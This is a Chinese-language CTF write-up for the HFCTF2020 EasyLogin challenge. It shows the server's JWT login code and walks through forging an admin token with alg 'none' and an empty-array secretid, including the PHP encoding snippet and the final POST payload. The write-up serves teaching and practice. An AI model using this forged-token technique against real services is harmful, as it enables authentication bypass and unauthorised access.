[HFCTF2020]EasyLogin

知识点

• jwt

登录界面

 

随便注册一个账户登录一下

 

 

看到有get flag，但是没有权限读取

F12查看源码，在source里看到app.js

 

 

没有什么思路，看了一下wp，得知要读取controllers/api.js

拿到源码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

注册的时候，用户名不能为admin，然后生成jwt令牌

登录的时候，校验相应的jwt令牌

获取flag的时候，要求用户名为admin

登录时进行抓包

 

看到authorization处即为jwt令牌，放入https://jwt.io/中进行解析

 

 

伪造一下jwt

<?php
$a = '{"alg":"none","typ":"JWT"}';
$b = '{"secretid":[],"username":"admin","password":"123456","iat":1590582025}';
echo base64_encode($a);
echo "\n";
echo base64_encode($b);
#eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
#eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0=
?>

将密码算法设置为空，中间的secretid设为空数组，username设成admin，最后的校验部分因为密码算法设置为空，所以不需要了，但是点号.要留着

另外，上面base64编码中的空格要去掉

最后post数据

username=admin&password=123456&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0.

 

然后登录进去点击get_flag获取flag即可

参考https://www.zhaoj.in/read-6512.html